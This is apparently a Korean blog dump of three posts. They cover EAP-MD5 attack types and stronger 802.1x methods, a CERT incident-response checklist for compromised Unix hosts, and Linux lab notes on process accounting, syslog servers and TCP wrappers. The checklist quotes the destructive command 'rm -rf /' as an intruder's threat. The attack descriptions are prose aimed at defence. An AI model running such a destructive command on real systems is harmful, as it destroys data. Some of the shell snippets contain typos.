만약 공격자가 PWA이라는 값을 추측해서 RESPN이라는 값을 계산했을 경우 RESPN과 RESPN이 일치하면 PWA과 PWA는 일치할 것이다.

이러한 속성은 해쉬(Hash)MD5 함수의 속성과 관련이 있다. 일반적으로 암호학적인 해쉬 함수인 경우 단방향 함수(One-way Function), 독자성(Uniqueness) 등을 만족해야 하는데 MD5 해쉬 알고리즘의 경우 이러한 부분을 대부분 만족하고 있다. 따라서 RESPN과 RESPN의 값이 일치할 때 PWA와 PWA의 값이 일치하지 않는 경우는 확률적으로 0에 가깝다고 봐도 무방할 것이다.

현재 MD크랙(Crack)과 같은 MD5 알고리즘 브루트-포스 어택(Brute-Force Attack) 툴의 경우 8자리 숫자 패스워드의 경우 1분 이내 크래킹이 가능하며 영문자 소문자와 숫자가 섞여 있는 경우 8자리 이하의 패스워드의 경우 약 1주 정도가 소요된다. 따라서 EAP-MD5를 사용할 경우 사용자 패스워드는 엄격한 룰을 적용하여 영문자 대소문자와 숫자를 섞어서 12자리 이상으로 하되 적어도 1개월 미만의 주기로 패스워드를 변경하도록 해야만 한다.

■ 공격 유형 2. 중간자 공격 및 의인화 공격

EAP-MD5를 이용한 인증 프로토콜이 가지는 한계중의 하나는 양방향 인증을 제공하지 않는다는 점이다. 즉, 서버는 사용자를 인증하지만 사용자는 서버를 인증할 수 없다. 따라서 이 점을 이용하면 여러 가지 형태의 공격이 가능해 지는데 대표적인 것이 중간자 공격(MitM attack)과 의인화(Impersonation) 공격이다.

중간자 공격은 사용자와 인증 서버간 트래픽을 중간에서 가로채는 방식으로 굳이 사용자의 패스워드를 알지 못해도 적용 가능한 공격 방법이다.

중간자 공격은 사용자의 트래픽을 가로채는 방식이므로 어느 지점에서 가로챌 수 있을 지에 대한 검토가 필요하다. 지난 회에서 언급했지만 오픈 인증(Open Authentication) 모드일 때 동일한 ESSID를 사용할 경우 사용자는 전파 환경이 더 나은 AP로 접속하게 된다. 따라서 로그(Rogue) AP를 이용해 중간자 공격을 시도할 수 있다.

사용자는 공격자의 AP를 자신이 접속해야 할 AP로 생각하고 접속하여 ID와 EAP-MD5 프로토콜에 따른 인증 절차를 진행하게 된다. 공격자는 자신이 설치한 AP로부터 전송되는 데이터를 실제 사용자가 접속해야만 하는 AP로 접속하여 전송하기만 하면 된다. 최종적으로 실제 AP로부터 인증 성공 메시지를 받고 망에 대한 접근을 허락 받으면 공격자는 사용자에게 인증 실패 메시지만 전달하면 된다. 이러한 방식으로 사용자의 ID와 패스워드를 모르는 상태에서도 망에 대해 접근을 시도할 수 있다.

그러나 이러한 방식은 무선에서는 큰 효과가 없을 수도 있다. 우선 사용자와 공격자 간 무선 환경의 차이가 커야 하며 또한 공격자가 망에 대한 접근 권한을 얻었더라도 실제로 사용자가 인증 실패 후 재시도를 하는 경우가 많으므로 이에 대한 재시도 방지 대책이 있어야 하기 때문이다.

의인화 공격은 MitM 공격에 비해 현실적으로 가능성이 더 높은 공격 방법이다. MitM 공격과 비슷한 형태로 구성이 되지만 차이점은 사용자로부터 데이터만 수집하고 실제 ID와 패스워드를 공격한다는 점이 차이가 있다.

일반적으로 브르트-포스(Brute-Force) 공격을 하기 위해 데이터를 수집하면 충분한 길이의 시도를 생성하므로 실제 MD5 알고리즘을 연산하기 위한 연산양이 증가할 수 있다. 그러나 의인화 공격을 이용하면 공격자는 자신이 원하는 길이와 원하는 값을 시도로 전달할 수 있으며 또한 EAP 아이덴티파이어 역시 일정한 값으로 전달할 수 있다. 따라서 부르크 포스 공격을 훨씬 원활하게 진행할 수 있다.

<그림6> 중간자 공격

■ 공격 유형 3. 재반복 공격

공격자는 무선 구간에서의 스니핑을 통해 사용자 ID와 EAP 아이덴티파이어, 서버로부터의 시도와 사용자의 응답으로 이루어진 리스트를 만들어 낼 수 있다. 이러한 리스트가 만들어지면 공격자는 AP에 접속하여 사용자 ID를 ‘EAP-Response/Identity’ 메시지를 통해 전송하여 서버가 ‘EAP-Request/MD5-Challenge’ 값을 전송하도록 해 만약 자신의 리스트에 해당하는 값이 있으면 그 값에 해당하는 응답을 보내어 망에 대한 접근 권한을 획득할 수 있다.

이러한 재반복 공격이 가능한 것은 일반적인 시도-응답 프로토콜에서는 재반복 공격을 방어할 수 있는 메커니즘이 필요한데 EAP-MD5 에서는 이러한 재반복 방어 알고리즘이 없기 때문이다.

IEEE 802.1x with EAP-TLS

이상과 같이 IEEE 802.1x를 적용하더라도 EAP-MD5 인증 알고리즘을 적용할 경우 여러 가지 유형의 공격들이 가능해 진다. 따라서 EAP-MD5는 사실상 무선랜 환경에서 사용자 인증용으로 사용하기 어려운 프로토콜이며 실제로 마이크로소프트 역시 자사의 ‘와이어리스 제로 컨피규레이션(Wireless Zero Configuration)’ 서비스에서 EAP-MD5 인증은 더 이상 제공하지 않는다.

따라서 IEEE 802.1x를 이용하여 보다 강력한 보안을 무선랜 환경에서 구축하기 위해서는 양방향 인증과 다이내믹 WEP 혹은 TKIP를 이용할 수 있도록 새로운 암호화 키를 생성할 수 있는 인증 알고리즘이 필요하게 된다. 이러한 조건들을 만족하는 인증 알고리즘이 EAP-TLS이다.

EAP-TLS는 TLS(Transport Layer Security) 프로토콜을 EAP 상에서 구현한 알고리즘으로 공개키 기반 인증서를 이용하여 선택적으로 양방향 인증을 수행하며 인증 후 TLS 레코드 레이어(Record Layer)에서 사용하는 암호화 키 생성 알고리즘을 이용하여 PMK(Pairwise Master Key)를 생성하여 WEP 키 혹은 TKIP의 PTK를 생성하는데 사용한다. 따라서 EAP-TLS의 경우 구축할 때 양방향 인증을 반드시 적용하면 보안적인 측면에서 위에서 설명했던 취약점들을 모두 극복하고 있다.

그러나 EAP-TLS 역시 몇 가지 단점을 보이고 있는데 첫째는 관리상의 어려움이고 둘째는 인증서 확인 절차상의 문제점이다. EAP-TLS는 공개키 인증서 기반의 인증을 수행하는데 서버는 물론이고 각 사용자들도 개인키 정보와 공개키 인증서를 가지고 있어야 한다. 또한 사용자가 서버 인증서를 확인하기 위해서 서버 인증서를 발급한 루트 CA 인증서를 가지고 있어야 한다. 이러한 정보들은 온라인으로 쉽게 전달될 수 있는 형태가 아니라 오프라인으로 신원 확인 후 인증서 발급 절차를 거쳐야 하는 등 상당한 관리상의 부담을 초래한다.

물론 기존에 공개키 기반 구조가 갖추어져 있는 기업이라면 기존 사용중인 인증서를 그대로 이용하여 EAP-TLS 기반의 무선랜 보안 구조를 구축할 수 있다. 그러나 이러한 공개키 기반 구조가 없다고 하면 관리자가 모든 사용자에게 일일이 인증서를 다 발급해야 하므로 큰 부담이 아닐 수 없다.

인증서 확인 절차 상의 문제점은 TLS를 EAP에 적용하다 보니 발생하는 문제점이다. 기존 TLS의 경우 레이어 4에서 적용되므로 사용자가 서버의 인증서를 확인하기 위해 상위 인증서 발급 기관으로 확인할 수 있는 방법이 있었으나 무선랜에서 IEEE 802.1x와 EAP-TLS를 적용하게 되면 레이어 2에서 확인해야 하므로 온라인으로 상위 인증기관으로 접속할 수 있는 방법이 없다. 따라서 사용자가 서버를 인증하고자 하는 경우 미리 저장된 상위 인증 기관의 공개키 인증서를 이용할 수밖에 없다.

IEEE 802.1x with EAP-TTLS

EAP-TLS의 문제점들을 해결하기 위해 EAP-TTLS(EAP -Tunneled TLS)와 PEAP(Protected EAP)라는 새로운 프로토콜들이 제안되어 현재 인터넷 드래프트로 IETF에서 진행 중에 있다.

EAP-TTLS와 PEAP는 TLS 알고리즘을 이용하여 선택적으로 서버에 대한 인증을 수행하고 TLS 핸드쉐이크(Handshake) 과정 후에 생성되는 세션키를 이용하여 암호화 터널을 만든 다음 이러한 터널 내부에서 새로운 인증 알고리즘을 적용하여 사용자에 대한 인증을 하는 방식이다. EAP-TTLS의 경우 터널 내부에서 사용 가능한 인증 알고리즘들은 EAP와 CHAP, MSCHAP 등이 있으며 PEAP의 경우 EAP만을 사용 가능하도록 하고 있다. 현재 EAP-TTLS는 드래프트 버전 3까지 발표되었으며 PEAP의 경우 드래프트 버전 7을 통해 PEAP v2까지 발표되어 있다. 마이크로소프트사의 경우 PEAP에 대해 별도의 드래프트 규격을 발표하여 PEAP v0의 형태로 발표되어 있다. 따라서 현재 윈도 XP나 윈도 2000 등에서 제공되는 보호된 EAP(PEAP)의 경우 PEAP v0을 의미한다.

EAP-TTLS나 PEAP와 같은 형태의 프로토콜들을 일반적으로 터널 인증 알고리즘이라고 부르는데 이러한 인증 알고리즘의 경우 두 단계로 인증이 나뉘어 진다. 첫 번째는 서버 인증을 포함한 터널 생성 단계이고 두 번째는 터널 내부에서 사용자 인증을 진행하는 단계이다. 이러한 터널인증 알고리즘들은 터널 생성 시 암호화 세션 키를 생성할 수 있으므로 무선랜에 적용될 경우 다이내믹 WEP이나 TKIP를 위한 PMK를 생성할 수 있는 기능을 동시에 제공한다. 터널 인증 알고리즘들은 EAP-TLS에 비해 여러 가지 장점들을 제공하는데 일반적으로 터널 내부에서는 패스워드 기반의 인증 프로토콜을 적용하더라도 기존 패스워드 기반의 인증 프로토콜의 보안 취약점들을 극복하고 있다. 이는 터널 내부의 트래픽은 이미 암호화되어 있어 스니핑이나 재반복 공격 등을 방어하고 있기 때문이다.

따라서 서버 인증은 공개키 인증서 기반으로 수행하더라도 각 사용자들은 자신의 인증 정보를 개인키와 공개키 인증서가 아니라 ID와 패스워드 기반으로 유지할 수 있다. 이로 인해 기존 EAP-TLS가 가지는 관리상의 어려움은 상당 부분 해소된다고 볼 수 있다. 다만 EAP-TTLS나 PEAP 역시 양방향 인증은 옵션이므로 구축 시 반드시 양방향 인증을 수행하도록 구성을 설정해야만 한다. 또한 터널을 생성하는 서버와 터널 내부에서 사용자를 인증하는 서버는 다를 수 있으므로 이 때 각 서버가 반드시 동일한 보안 도메인(Secure Domain) 내에 존재하거나 혹은 VPN 등 보호된 네트워크를 통해 통신할 수 있도록 설정돼야 한다.

안전한 무선랜 보안 ‘IEEE 802.1x 적용 필수’

지금까지 살펴본 바로는 무선랜을 안전하게 구축하기 위해서는 IEEE 802.1x 규격의 완전한 적용이 필수적일 뿐만 아니라 내부 인증 알고리즘을 반드시 다이내믹 WEP 알고리즘이나 TKIP 알고리즘을 적용가능 한 인증 알고리즘을 사용해야한다. 또한 인증 알고리즘 적용 시 반드시 양방향 인증을 수행해야 함을 알 수 있다.

현재 가장 널리 사용되고 있는 EAP-TTLS나 PEAP 등의 알고리즘을 사용할 때 관리상의 어려움이나 설치 상의 문제, 인프라의 부족 등을 이유로 서버 인증을 생략하는 경우가 많은데 이것은 보안 기반 구조를 설치하고도 여전히 취약점을 안고 있는 비효율적인 시스템이라 할 수 있다.

최근에 출시되는 인증 서버들은 하드웨어 일체형에 서버 인증을 위한 인증서 발급 및 관리 시스템이 내장되어 있어 관리자가 손쉽게 양방향 인증을 구현할 수 있도록 하고 있으며 요구자 소프트웨어 역시 인증서 관리 기능이 포함된 제품들이 있어 설치를 쉽게 진행할 수 있도록 하고 있다.

이상과 같이 무선랜 구축 시 능동적으로 망에 대한 침투와 도청 등을 막고 사용자에 대한 인증 및 관리 기능을 강화할 수 있는 IEEE 802.1x 규격의 적용에 대해 알아보았다

이 글에는 트랙백을 보낼 수 없습니다

Hacking 2006/09/08 15:54

전산망 해킹 침해사고시 어떻게 처리하나

한국전산망침해사고대응지원팀/한국정보보호센터
CERTCC-KR/KISA
Computer Emergency Response Team, Korea
Korea Information Security Agency
Tel: 02-3488-4119, FAX: 02-3488-4129
cert@certcc.or.kr

서 론

이 문서는 당신의 시스템이 침입을 이미 당했을때 유닉스 기계의 보안을 위해
무엇을 할 것인가를 보이고 있다. 이문서는 아직 침입을 당하지 않은 상태라
할지라도 도움이 된다.
※ 이문서는 Compromise FAQ (Version: 2.0 , Christopher William Klaus/
ISS) 을 분석한 내용이다.

1. 침입자의 흔적과 출발지를 다음을 이용하여 분석한다.

===============================================================
1. who ;
사용자 및 사용자의 컴퓨터 확인
2. w ;
사용자 및 사용중인 명령의 확인
3. last ;
사용자들의 로그인/로그아웃 일시 기록 확인
4. lastcomm ;
사용자들의 시스템 명령 및 프로세스 기록 확인
5. netstat ;
네트워크 접속 현황 확인
6. snmpnetstat ;
네트워크관리 시스템에서의 현황
7. 라우터 정보 ;
라우터의 라우팅 및 접속 등의 현황 확인
8. /var/adm/messages ;
전자우편 송수신 현황 기록 확인(많은 침입자들이 자신의 기계로
전자우편 송신)
9. syslog ;
시스템 로그 확인(다른 기계로도 로그를 보낸다)
10. wrapper 로그 ;
외부 시스템 접속 차단 프로그램의 연결
11. 기계의 모든 사용자에게 finger를 하여 어디서 왔는지 점검
===============================================================

참고 : who, w, last, lastcomm은 /var/pacct, /usr/adm/wtmp 의 기
록에 의해보고하는데, 침입자들은 뒷문(Backdoor Program)을 이용하
여 이 로그들을 수정하여 자신의 흔적을 지울 수 있다. 그리고 침입
자가 아직 이런 뒷문이 없다하더라도 아주 쉽게 이로그들을 수정하거
나 지울 수 있다. 하지만 가끔 침입자들은 모든 로그삭제를 잊어버릴
수도 있으며, 특히 비 표준 유닉스 로그를 설치한 경우에 더욱 그렇
다.

2. xinetd나 tcp_wrapper는 당신이 원한다면 외부에서의 모든 접속에
대해 로그를 남길 수 있으며, 침입자가 로그를 수정하거나 지울 수
없도록 이 로그들을 다른 기계에 옮겨두는 것이 좋다 netlog는 다음
에서 가져올 수 있다. 적절한 대책을 세우기 전에 침입자가 ethernet
sniffer로 다른 기계에 어떻게 침입하는지를 모니터링하는 것이 좋다.

3. 외부로 부터 접속하는 기계들을 막고 특히 침입자의 접근을 막기 위
해 네트워크를 중지시킨다. 만약 침입자가 눈치챈다면 당신의 기계에
"rm -rf /"을 실행하여들지 모른다.

4. 시스템 실행 파일의 변경 유무룰 점검하는데, 특히 뒷문프로그램으로
잘 이용되는 다음 프로그램들을 중점 점검한다.

1. /bin/login
2. 모든 /usr/etc/in.* files (예: in.telnetd)
3. /lib/libc.so.* (on Suns).
4. inetd에서 호출되는 모든 것

기타 잘 교체되는 것으로서는 다음과 같은 것이 있다.

1. netstat - 정보를 감추게 한다
2. ps - 프로세스를 감추게 한다 (예: Crack)
3. ls - 디렉토리를 감춘다
4. ifconfig - 이더넷에 대한 promiscuity mode 를 감춘다
5. sum - sum을 수정하지 않고도 실행파일의 체크썸을 올르게 위장
할 수 있으므로 더 이상 교체하지는 않는다. sum 을 믿어
서는 안된다.

파일의 실제 수정 시간을 알기 위해서는 "ls -lac"를 사용한다.
/etc/wtmp 를 점검하여 시스템 시간을 체므하고 CD나 테이프의 원
본과 비교하거나 MD5 체크썸이 이전의 체크썸과 다른지 비교하며,
흔히 off-line으로 저장된 미리 만들어진 체크썸과 cmp 명령으로 비
교한다. 또 흔히 사용되는 뒷문으로서 /bin/time과 같은 setuid 프로그
램인데, 이들은 일반 사용자가 root로 실행할 수 있게 해준다. 이런
프로그램을 찾기 위해서는 다음 명령을 이용하면 된다.

find / -type f -perm -4000 -ls

하다보면 OS 전체를 다시 설치해야될지도 모른다. Tripwire 는 관
리자 몰래 실행파일을 수정하거나 inetd.conf와 같은 시스템파일을 수
정을 방지할 수있다.

5. 사용자들이 자주 자신의 패스워드를 바꿀 수 있도록 해주는 passwd
프로그램으로 교체한다. anlpasswd, npasswd 혹은 passwd+ 등을 설
치하여 적절한 패스워드를 만들 수 있도록 하며, Crack 를 주기적으
로 실행한다. 이것은ftp://ftp.cert.org/pub/tools.crack에서 가져올 수
있으며, 이 Crack 을 이용하여 사용자들이 어려운 패스워드를 만들도
록 한다. 네트워크에서 평문 패스워드가 전달되는 것이 문제이다.
Smart Hub는 LAN에서 sniffer가 모든 LAN을 도청하는 것을 막을
수 있으며, 혹은 일회용 패스워드를 사용한다.

6. 모든 사용자의 .rhosts, .forward 등을 점검한다. 만약 .rhosts가 "+"
를 가지고 있으면 어떤한 시스템에서도 패스워드 체크 없이접근할 수
있다. COPS는 다음 과 같은 체킹 스크립트를 가지고 있다.

find / -name .rhosts -ls -o -name .forward -ls

의심스러운 모든 파일의 생성 및 수정 시간을 점검하는데 다음을 이
용한다.

find / -ctime -2 -ctime +1 -ls

이것은 이틀전 에서 하루 이후 에 수정된 파일을 찾아준다.

모든 .login, .logout, .profile, .cshrc 들도 적어도 수정일 및 시간 등을
점검 하며, .rhosts 파일이 잠궈진 것은 없는지, news, sundiag, sync
등의 계정에 대한 쉘이 보다 안전을 위해 "/bin/false"로 되어 있어야
하며 "/bin/sh" 등으로 되어 있어서는 안된다. 또한 ". ", ".. " 등의
디렉토리가 없는지 점검하는데 대부분 /tmp,/var/tmp, /usr/spool/* 나
공개적으로 쓰기 할 수 있는 디렉토리에서 많이 발견된다.

7. NFS가 외부에 널리 공개된것은 아닌지 점검한다.
ftp://harbor.ecn.purdue.edu/pub/davy에서 가져올 수 있는 NFSwatch
는 NFS트랜잭션에 대해 로그를 만들어주며, "showmount -e" 를 하
여 적절하게 개방한대로 구성되어 있는지 점검할 수 있다. 256 바이
트를 넘긴 경우에 nfsd는 버그를 가지고 있으며, 또한 당신이 마운트
하고 있는 시스템에 대한 점검도 중요하다. 가능한 "nosuid"플래그를
사용하기 바라며, 다른 호스트나 침입자가 실행하는 NFS마운트된
suid 프로그램을 실행하는 sysadm에의해 침입되기를 바라지는 않는
것이다.

8. 가장 최근의 sendmail을 설치한다. 이전 버젼의 sendmail은 원격지
명령을 실행하도록 한다.

9. 가장 새로운 패치를 설치하도록 한다.

10. 시스템이 취약점이 있는지 점검하는 리스트가 있다.

(1) 원하지 않은 프로세스가 없는지, "rpcinfo -p"를 이용하여 점검한다.

(2) hosts.equiv 에 "+" 가 없는지 점검한다.

(3) tftp를 사용하지 않든가, 사용하기를 원한다면 "-s" 플래그를 사용한다.
이 경우는 대부분 디스크없는 워크스테이션을 위한 경우인데, 적절하게
NFS를 이용할수도 있다. 이것을 root 로 실행하지 않도록 하며,
/etc/inetd.conf에서 다음과 같이 바꾼다.

tftp dgram udp wait nobody /usr/etc/in.tftpd in.tftpd -s /tftpboot

혹은 원치 않는 곳에서의 접근을 막기 위해 tcp_wrapper에서 tftpd에 대
한 부분을 고치고 모든 접속 상황을 로그로 남긴다.

tftp dgram udp wait nobody /usr/etc/tcpd in.tftpd -s /tftpboot

혹은 /etc/hosts.allow 에서 정의된 허용한 곳에서만 접근할 수 있도록
조정한다.

(4) crontab과 at-vobs 를 점검한다. 침입자가 남긴 모든 것을 정리했다고
생각한 후 이것이 어떤 작업을 할 수 있다.

(5) rc.boot, rc.local(SYSV : /etc/rc?.d/*)나 기타 시스템 시작시 실행 파일
들을 점검한다. 가장 좋은 방법은 off-line으로 저장했다가 주기적으로
점검하는 것이며, sendmail.cf, hosts.allow, at.allow, at.deny, cron.allow,
hosts, hosts.lpd 등의 시스템 구성파일들을 점검한다. "aliases"는 메일
확장을 위한 것인데, "uudecode" 등과 같은 것을 가지고 있을 수 있다.
(6) inetd.conf 와 /etc/services 파일에서 침입자가 추가한 불법 프로그램 서
비스가 있는 지 점검한다.

(7) 현재 가지고 있는 모든 로그 파일(pacct, wtmp, lastlog, sulog, syslog,
authlog 등)들을 다른 안전한 곳으로 옮긴다. /tmp/* 파일들을 먼저 살
펴 본 후 재시동(Reboot) 한다.

(8) /etc/passwd 파일의 여벌파일을 가능한 디스켓 등으로 저장한 후 su 및
passwd 프로그램이 뒷문(Backdoor) 가 아님을 확인한 후 root 패스워
드를 바꾼다. 만약 침입자가 su 나 passwd 뒷문을 설치하였다면
/etc/passwd 파일의 패스워드 부분을 모두 "*"로 바꾼다. 또한 침입자
가 패스워드 파일을 가지고 있다면 모든 사용자들의 패스워드를 알아낼
가능성이 있으며, 장기간 사용하지 않는 사용자의 패스우드를 바꿀 수
도 있다. NIS서버에서는 단순히 /etc/passwd 뿐 아니라 NIS 맵에 해
당하는 것들도 점검해야 한다.

(9) 익명FTP나 다른 네트워크 서비스 시스템들이 적절하게 구성되어 있는
지 점검한다.

(10) inetd를 다시 설치한다.

(11) 콘솔 만이 "secure" 단말로 정의하여 다른 단말에서 root 로 로그인할
수 없도록 한다.
(12) hosts.equiv, .rhosts, hosts.lpd 에 "#" 이 있는지 점검한다. 만약 침입자
가 "#" 을 기계이름으로 정의하였다면 누구나 신뢰하는 호스트로 정의
된다.
(13) 침입자에 대한 경각심을 늦추지 않는다.

11. 침입자가 경유한 모든 기관의 시스템에 전자우편을 보내고
cert@certcc.or.kr 로도 메일을 보내 협조를 요청한다.

12. 침임자들의 시도를 방지하는 좋은 방법은 방화벽이라는 전산망 침입
차단시스템을 설치 운영하는 것이다. 하지만 방화벽은 가격이 비싸고
필터링에 따른 네트워크의 속도가 저하될 가능성이 크다. 라우터에서
NFS(2049/UDP), portmap(111/UDP) 를 막아야 한다. DNS 와 NTP
포트만 제외하고 모든 패킷을 막고, 출발지라우팅(Source Routing),
모든 IP-Forwarding 패킷을 사용하지 않는다.

이 글에는 트랙백을 보낼 수 없습니다

Linux 2006/09/08 15:54

프로세스 어카운팅

Process accounting

1 . 패키지 설치 확인

# rpm –qa | grep –I acct

2. accounting 실행

# service psacct start

3 . 모든 사용자 계정명령어 자동입력

# accton /var/account/pacct

프로세스 통계용 소프트웨어는 수행된 모든 명령들을 디폴트로 /var/account/pacct에 저장한다.

프로세스 어카운팅

# rpm –qf | /sbin/accton

(psacct-6.3.2-24

# rpm –ql psacct

ac 명령어 사용

# ac –d

# ac –p

sa를 이용해 보고서 작성

# sa

로그 서버 만들기

대상 서버 (대상서버설정)

# vi /etc/hosts

192.168.46.100 loghost

#vi /etc/syslog.conf

*.info;mal.none;news.none;authpriv.none;cron.none @loghost

Page 744의 설정처럼 전부 변경, 설정 예 중 하나를 설정 하면 됨

# /etc/init.d/syslog restart

로그 서버 설정 법(log server)

# vi /etc/hosts

127.0.0.1 localhost. Localdomain localhost

192.168.40.46 loghost

192.168.40.45 web1

192.168.40.40 web2

# ps –ef | grep syslogd

# pkill -9 syslogd

# ps –ef | grep syslogd

# /sbin/syslogd –r –m 0

# vi /etc/sysconfig/syslog

SYSLOGD_OPTIONS= “-r –m 0”

-r 옵션은 리모트 로그를 받겠다는 의미

로그서버에서 모니터링

# tail –f /var/log/messages

web1, 대상 서버들에서 로그남기기

* 일부러 로그인 실패하기

* 자기 자신에게 root 로그인 실패해 보기

Tcp wrapper 설정

l Xinetd 서비스는 기본적으로 tcp wrapper 의 설정을 적용받는다.

l 설정 파일만 수정해 주면 됨

l /etc/hosts.deny

l /etc/hosts.allow

TCP Wrapper 란?

인터넷 상에서의 접속은 대부분 TCP 프로토콜을 이용하여 이루어지게 됩니다.

이러한 TCP 접속에 대해 Wrap를 씌워 서버로 접근하는 불필요한(?) 접속에 대해 적절한 제한을 가해주는 것이 바로 TCP Wrapper입니다.

TCP Wrapper는 그 특성상 서비스(데몬)별 및 IP별로 구분하여 설정할 수 있으며, “접속 거부”와 “접속 허용”을 적절히 제어함으로써 그 효과를 볼 수 있습니다.

① 접속 거부 : /etc/hosts.deny

TCP Wrapper에서 접속 거부를 설정하는 곳입니다.

여기에 설정된 주소들은 모두 접속이 거부됩니다.

② 접속 허용 : /etc/hosts.allow

TCP Wrapper에서 접속 허용을 설정하는 곳입니다.

여기에 설정된 주소들은 모두 접속이 허용됩니다.

/etc/hosts.deny

# vi /etc/hosts.deny

all:all ->모두 제한 ( 서비스: 사용자IP)

# telnet localhost ->모두 제한을 걸어 두었으므로 텔넷으로 접속이 되지 않는다

/etc/hosts.allow

# vi /etc/hosts.allow

in.telnetd : 192.168.40.46 -> 특정IP만 텔넷을 허용하겠다

sshd : all -> sshd 서비스는 모두 허용하겠다.

서비스명 : 허용IP

서비스명 : 허용 네트웍 (192.168.40.) ->네트웍IP 적용시 마지막에 꼭점을 찍을 것

서비스명 : all -> (전부허용)

deny 모두 닫아주고 난뒤에 allow로 특정IP, 네트웍만을 열어주기위해서 사용.

한마디로 보안을 위해서 제한을 걸어두는 것이다 .

관련 명령어

출력내용 끝의 접미사 구분

sa와 관련한 옵션

들은 프린트물을 참조하시오 ^^

스크립트 작성 실습

* 스크립트 파일명: sa.ksh

* 생성될 리포트 파일 명은 날짜가 파일명에 들어가도록 만들기

* 하루간 기록을 파일에 남기기

* 전체 기록을 파일에 남기기

* 사용자 기록을 파일에 남기기

* 현재 통계 기록을 병합하기

* 스크립트가 하루에 한번 새벽 2시에 실행하도록 crom 에 등록하기

/root/sa.ksh

# vi /root/sa.ksh

#!기록할 파일명

file_name=’date +%Y%m%d’

#file_name=’date +%Y%m%d-%H%M%S’ ->시분초까지 기록할 경우

#sa 프로그램경로

sa=”/usr/sbin/sa”

#기록할 디렉토리명

recorddir=/var/log/acct

#기록할 디렉토리가 없을 경우 디렉토리 생성

if [ ! –d $recorddir ] ; then

mkdir $recorddir

# 디렉토리/파일명 지정

pathname=$recorddir/$file_name

######### 파일 기록 ###########

#날짜 기록 년월일

date =%Y/%m/%d > $pathname

#하루간 기록(cron을 매일 돌릴 경우)